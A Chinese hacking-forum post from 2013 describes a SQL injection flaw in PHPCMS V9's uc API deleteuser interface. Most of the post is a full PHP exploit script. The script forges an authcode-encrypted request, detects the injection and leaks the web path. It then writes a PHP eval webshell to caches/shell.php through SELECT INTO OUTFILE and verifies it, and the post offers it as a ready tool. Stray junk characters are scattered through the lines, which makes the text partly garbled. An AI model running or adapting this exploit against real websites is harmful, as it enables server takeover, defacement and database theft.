找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1907|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% g6 L. E. q- K3 F' S' w% }
' r, p1 k( J, e$ U- W所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。$ V  |. o% D1 J  d& [2 e

, a+ {  N6 Z1 ^7 S, D4 z2 ?漏洞分析:- o1 S# J2 L2 O) D
1.未启用ucenter服务的情况下uc_key为空2 B9 F0 }# E3 B4 v
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
  r+ V; h; P& h, y2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。( q: v  C5 n5 _4 }
    public function deleteuser($get,$post) {
6 {, U) M, {* `& {% K        pc_base::load_app_func('global', 'admin');
3 z. O5 s/ n; q! c8 m        pc_base::load_app_class('messagequeue', 'admin' , 0);
2 V/ [. g! @2 {* ]4 B* n0 w        $ids = new_stripslashes($get['ids']);+ j7 t# O& c  G: c
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");4 V+ X% l' \4 {
SQL语句为8 L# \' H7 V4 l: w
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
8 N0 F4 c5 x3 U6 b. P: f
  `& S- x, ^( ]& E  T利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell: f" `8 f7 q% m% l! Y+ w) z
<?php
: e6 ]0 l4 Y# {4 b/ pprint_r('. ?: |+ Y+ m+ d/ O( P+ k) ^
---------------------------------------------------------------------------
" A" r" Z* w, G6 Z6 pPHPcms (v9 or Old Version) uc api sql injection 0day
' s" x" O1 A, j+ W2 w9 Pby rayh4c#80sec.com9 @- Z! c) K1 @# }; c
---------------------------------------------------------------------------
3 a* r. _% e4 h1 v');* M3 W. n  J/ w8 r5 n8 h
( A6 l: r6 m  @. y; l7 q
if ($argc<3) {: K5 ]9 `: c0 U7 z
    print_r('
& p; m! n( E+ s4 |---------------------------------------------------------------------------# T7 }/ f9 [- f  [3 `* s8 e
Usage: php '.$argv[0].' host path OPTIONS
8 ^+ A6 ^$ A9 x: {" ahost:      target server (ip/hostname)) u  Z6 X: x3 }2 e
path:      path to phpcms/ O. K. l$ |5 q& I: ~& ^+ Q" n  E
Options:1 B, I2 f' x/ q3 x
-p[port]:    specify a port other than 80- k& {( k+ I. V9 [$ ]* v
-P[ip:port]: specify a proxy7 B2 o& A2 J8 F0 d8 s
Example:
. N- B  [4 J/ y4 p; k0 V2 }5 vphp '.$argv[0].' localhost /
9 g' M- h7 G, W! x1 Z" P. Dphp '.$argv[0].' localhost /phpcms/ -p81
' y0 U. j: |6 d5 n6 Uphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) w0 Z8 K) L6 f---------------------------------------------------------------------------" w9 o* m/ _* V! ~/ B- I) Q
');! z6 _2 b8 J; S9 [
    die;0 K) E; L8 E3 F9 k2 k+ A
}
$ x4 o, p4 v" Q  ^8 B  _1 B/ U; ?: }* L) n, q$ a* s/ X7 \  @" A3 G2 R
error_reporting(7);( V, t% n# ]5 I9 a; W
ini_set("max_execution_time",0);0 W; w3 T9 u) h* O5 r9 \
ini_set("default_socket_timeout",5);" P" t8 n3 K7 b$ S* `; O. Y" ^
- F/ T" T- q/ r% s1 x
function quick_dump($string)$ s) d+ W! Z. M) x5 A1 {) F
{
+ r. {8 g3 e" D7 L6 i) Q' |, F  $result='';$exa='';$cont=0;: d0 x* b% f, `
  for ($i=0; $i<=strlen($string)-1; $i++)* M0 r) T1 q/ y5 U
  {
! @( K8 A1 e3 X   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))5 X* }2 ~. H; t2 N% {
   {$result.="  .";}3 s9 @1 s. R9 a0 w% S  P1 [
   else9 b7 c8 V1 `9 r4 k* w
   {$result.="  ".$string[$i];}
3 S3 r/ R- `. X) y- a   if (strlen(dechex(ord($string[$i])))==2)
- V9 Z1 g; J! R" _0 O. n- F' p   {$exa.=" ".dechex(ord($string[$i]));}; x6 r. k  |0 |
   else0 k4 S6 m  |5 W% \
   {$exa.=" 0".dechex(ord($string[$i]));}6 c- h- k% }- Q2 D$ L- s( \( _
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}0 P) }6 H6 ^. C5 U6 O
  }
' q1 ~4 i& p/ Q1 m$ j8 R. k return $exa."\r\n".$result;1 L5 ]9 j8 K# s
}, N; J( `. m0 S, l( H. s
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
* J) j" K8 u' }- }+ }3 a0 x" q5 b: P3 j  J4 I  Z
function send($packet)$ x- H7 T! l- w. L8 e; F
{
' ?6 F3 O* y+ W8 ?1 _& X. S  global $proxy, $host, $port, $html, $proxy_regex;4 I0 q: e! j/ W& C2 L
  if ($proxy=='') {5 q3 q; L$ c8 `2 `$ [8 F  z
    $ock=fsockopen(gethostbyname($host),$port);2 ^! c+ i( X6 V( h- ^" D2 N5 o
    if (!$ock) {
, ^# M+ N* U+ f" W+ P3 L0 V      echo 'No response from '.$host.':'.$port; die;" `" j9 c9 l! n8 _" ^2 c# _
    }5 z4 I6 o3 o) e: @: u9 K3 R
  }: q8 Y& \1 p) o. D# \8 ^3 K
  else {
4 N% R& i. A# T7 @1 X4 Y" ^, O3 i2 G        $c = preg_match($proxy_regex,$proxy);3 T+ V. T* ~6 ^! Q+ h3 p5 \
    if (!$c) {1 v/ R5 Z$ G0 Q; S2 L
      echo 'Not a valid proxy...';die;
+ C0 k4 ]% \- P+ p( E    }4 i/ V+ W+ k1 X+ k4 F! l/ m
    $parts=explode(':',$proxy);5 ~+ Y  ]3 O  s1 u
    $parts[1]=(int)$parts[1];
/ s3 D3 X# q% k$ t# R    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";$ P: y" e1 K' o9 m4 I
    $ock=fsockopen($parts[0],$parts[1]);. [8 Z& Q2 r" S
    if (!$ock) {: R' R) [' B! \  ^, e6 t1 ^* M
      echo 'No response from proxy...';die;
9 l2 t% S9 N+ y" Q6 o: p' N! i        }- [* v/ P% T# k' f$ J+ D
  }
" `4 O/ m% M+ u  fputs($ock,$packet);
# ^9 n3 L$ Z' w  r- K, v9 T' F+ \  if ($proxy=='') {; f# Q( Z2 P3 J1 i* r: u3 u  {
    $html='';
( [7 W$ E+ [5 _% b- s) y, q5 a    while (!feof($ock)) {; w- n% R6 f/ F) b
      $html.=fgets($ock);
( P1 U' B. I/ `% A" O7 D    }
- M2 B0 v9 E: H  }
4 L1 R* d' j6 f/ |  else {  e& L, B7 f" ~# m- w8 o
    $html='';
9 _. J$ {" G. I3 r: d% s: z    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {5 @; Y3 O; B  F, j( ~% k
      $html.=fread($ock,1);
4 F+ M& T% v# u& a- N& ?    }
+ A/ M+ s6 ~! @$ ?' ^8 n9 g  }, z4 A2 s2 W" J  }; Y6 {/ |+ x4 ]
  fclose($ock);) @" `; B' v8 ], o
}: {0 m. r+ [; ~, g+ d
$ Z' |" o  I1 L2 f. [
$host=$argv[1];
  X( P5 f; x& Z1 n$path=$argv[2];
6 u+ o% J" t' H0 Q. A5 Y$port=80;
9 C* u: y. Y5 y/ t- S$proxy="";( a! U$ {0 X4 L5 [' v
for ($i=3; $i<$argc; $i++){
7 }. a% }% r' w. Y6 ]% W$temp=$argv[$i][0].$argv[$i][1];# f0 u3 g( G8 l; u1 Z
if ($temp=="-p"); A6 m( i! P1 `  h7 I
{
8 J; d2 I& |% N, j/ ~1 f  $port=(int)str_replace("-p","",$argv[$i]);) A8 l9 y( B8 O7 k  z1 h6 X6 a
}
) y4 ]$ ^7 W) h7 I9 gif ($temp=="-P")
! t  |2 C0 \, m/ S{
0 ]+ b/ @1 }! |- d0 B! [5 f  $proxy=str_replace("-P","",$argv[$i]);
- Y9 j3 x, i: _. O. P' I  @}
6 V) G$ Z# q% C5 C}
3 O4 I* y8 O  ^  U6 \, n- n7 k- \1 t
( a; F8 G4 J( b; J7 c7 l# O( |% D* e! \if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- A2 K( l0 U' c* }if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}$ V5 K8 K6 M% Z7 f; C
: ]2 Y* V- ^/ U( t# ]
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
1 X7 ~* ~' m3 q! a# }2 u: y
6 t0 \% r* J) i8 y6 X% y* M    $ckey_length = 4;
+ c5 \6 a. v1 O/ Y$ s9 \' `' C& U% m4 o5 `" g3 L. ?; @
    $key = md5($key ? $key : '');7 A# [, w) B* C) B
    $keya = md5(substr($key, 0, 16));; n/ ~, y: k+ n$ w; C- v; u
    $keyb = md5(substr($key, 16, 16));
3 l% R. R5 h& y    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$ \! O% T$ W5 `/ ?

  j4 @6 [) Z; i' q1 G# W    $cryptkey = $keya.md5($keya.$keyc);
% G1 `; P1 B# g3 M7 _    $key_length = strlen($cryptkey);: Z+ D: Z3 a# J8 \$ }, ^7 A9 a
+ i) v$ ~: \8 |, Y$ C
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$ U- V, [& e+ e4 }  R) Y- s
    $string_length = strlen($string);. j, P5 d  u" |4 ?) a

* c/ S) v% o) d  o+ F5 f3 w    $result = '';5 F7 L, s" y" f7 |, _
    $box = range(0, 255);
6 i7 E' x" l' F/ e
  w' M3 G* F/ D    $rndkey = array();
# u9 V& V' K" N    for($i = 0; $i <= 255; $i++) {
: s, X3 R2 c, r; n: x: R0 g. o        $rndkey[$i] = ord($cryptkey[$i % $key_length]);8 {1 `& a7 x- I8 J
    }
/ ]; K+ h. T+ @( Q/ P6 `* t$ I2 j3 _7 h- K) ^- r: {
    for($j = $i = 0; $i < 256; $i++) {, I- k. Z+ ~1 Q
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 p5 l$ h& L6 h" b        $tmp = $box[$i];, `# X2 Y* p# T6 x! `) q2 N
        $box[$i] = $box[$j];# _3 D# S) V% \, v  R0 I
        $box[$j] = $tmp;4 |$ v8 `5 X: W; Q- }( F
    }; T1 n3 v! D; G( u
$ k  b2 T! Q( v1 M) n
    for($a = $j = $i = 0; $i < $string_length; $i++) {
: E) j  C2 u) x( o        $a = ($a + 1) % 256;: T. ~& u6 q' o
        $j = ($j + $box[$a]) % 256;
, x; o* R! g  a# A6 a- G4 s        $tmp = $box[$a];
% |) ]5 b7 A! ^7 h( V        $box[$a] = $box[$j];3 U, y- k1 R# t: s' l
        $box[$j] = $tmp;1 `7 N5 V$ K1 [8 B  k
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));2 C; p0 s2 T3 b4 M7 K( i6 T
    }0 C0 A8 V4 l' w

" g9 B" O/ j7 J8 r) v- X    if($operation == 'DECODE') {
" E% g+ X' [* X% e3 e' Q/ k        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {+ C3 V2 _0 M. B
            return substr($result, 26);
5 H: A* M) n9 d5 q  R        } else {
* W, h$ i: u! T            return '';
! i& x) m! P) q( {$ F        }
. g( X) {  o4 E7 U2 S$ g! q9 |    } else {$ f* g5 J0 v- |, ?) R9 |
        return $keyc.str_replace('=', '', base64_encode($result));- W) f# \0 M: v4 f% b3 S; N  o# R
    }3 c( {- ]1 z0 [( q6 Q* x
  d% w  x0 g. n  w+ I
}
7 C* P8 }! `% T* _$ Q% C6 c; R$ q1 J9 ], t- N2 e7 ?' ^
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
: e; |, N- s, Z3 B4 c4 ?3 c$SQL = urlencode(authcode($SQL, "ENCODE", ""));" N$ y3 w0 R" m( y+ a* _
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- k# }' _1 l, N/ }  v7 G
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. q2 a+ e# f% q# T* [+ e$ X$packet.="User-Agent: Mozilla/5.0\r\n";) |  C+ S4 `6 f" i- B1 S& n% k: z
$packet.="Host: ".$host."\r\n";
+ e, ^# k' _6 ]9 b; o- N$packet.="Connection: Close\r\n\r\n";6 y! ^, j* o  e% _( ]
send($packet);
# ^, |0 S" Q& |if(strpos($html,"MySQL Errno") > 0){
( [7 x4 G% m- qecho "[2] 发现存在SQL注入漏洞"."\n";
! e9 r( A( f! v' vecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 ]) I/ k, X, j+ \
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
2 \" Q8 N0 P2 }2 R) E' D  L$packet.="User-Agent: Mozilla/5.0\r\n";8 U( d+ B) l3 h2 ^) ~* A$ x
$packet.="Host: ".$host."\r\n";! f- Y" `6 A) P2 t: m' _
$packet.="Connection: Close\r\n\r\n";6 U, d2 }" Y2 n* M: p  r0 o
send($packet);
2 S4 i, D% `9 m* u9 r- k5 W9 U2 dpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 I; B7 U: D& @4 e/ e$ w# Y
//print_r($matches);
# k- J6 @8 G' a. Z9 r- sif(!empty($matches)){
) i/ p% P* ]2 z6 H1 D3 pecho "[4] 得到web路径 " . $matches[0]."\n";2 k5 \: K( i) Z: ], s9 B! o
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
; T( q$ @4 N1 z6 T$SQL = "time=999999999999999999999999&ids=1)";
/ L7 D/ D+ A0 R8 `$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
  \7 T9 I+ o9 R: g4 O3 l, D$SQL.="&action=deleteuser";
3 i# J$ X7 m7 V0 |$SQL = urlencode(authcode($SQL, "ENCODE", ""));: K, N! E/ s6 v! f. A+ D
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" O5 r1 {0 V3 T3 C& \" G
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. s8 q1 W; d; x$ @) `
$packet.="User-Agent: Mozilla/5.0\r\n";
: u' o3 _5 k8 q! H# G- s$ F. U- y$packet.="Host: ".$host."\r\n";0 E' r1 c2 G/ r. i0 i# ]
$packet.="Connection: Close\r\n\r\n";
7 [7 A2 t& {( u7 j0 x$ l. Q6 Psend($packet);
1 O3 A) ]% {1 M/ R6 h+ Dif(strpos($html,"Access denied") > 0){
3 i; S4 ]) @2 m& M1 a4 ~/ o7 fecho "[-] MYSQL权限过低 禁止写入文件 ";
# m0 O2 `( U% A# g( ydie;$ |( e7 t0 r4 W& P
}
$ N( p4 K! m* V1 a6 n7 C4 W1 |/ U  eecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 q% k+ [* ]8 Y" z1 P
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";( V5 c/ T0 I( S
$packet.="User-Agent: Mozilla/5.0\r\n";
  Z/ c4 N: N0 ^( H% P4 ^/ V* N# t$packet.="Host: ".$host."\r\n";  T1 l9 r, ?5 u+ u8 i5 L" c
$packet.="Connection: Close\r\n\r\n";3 B* O' H: y8 ]" r9 v( u
send($packet);& z! l; a5 |# \( x$ A
if(strpos($html,"<title>phpinfo()</title>") > 0){
) b% H! G" G. d+ o" qecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
4 [( U' R  M) y/ G. R}
! [$ ~: F9 M) q( o2 Z! _  _}else{" p; U' f8 i6 y
echo "[-]未取到web路径 ";' t% U( ^* j5 i9 o9 Z
}
6 G0 }# G0 o; R( s' L& B}else{
$ w# Z6 @9 B5 w# qecho "[*]不存在SQL注入漏洞"."\n";7 J1 l, J, M( ^& X+ u! u+ t
}& ^; X: j; r, z$ h

' n* v# q$ P+ @* u  N- a+ \+ ^?>( d3 [# w" T; G: y( M) _3 l* W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表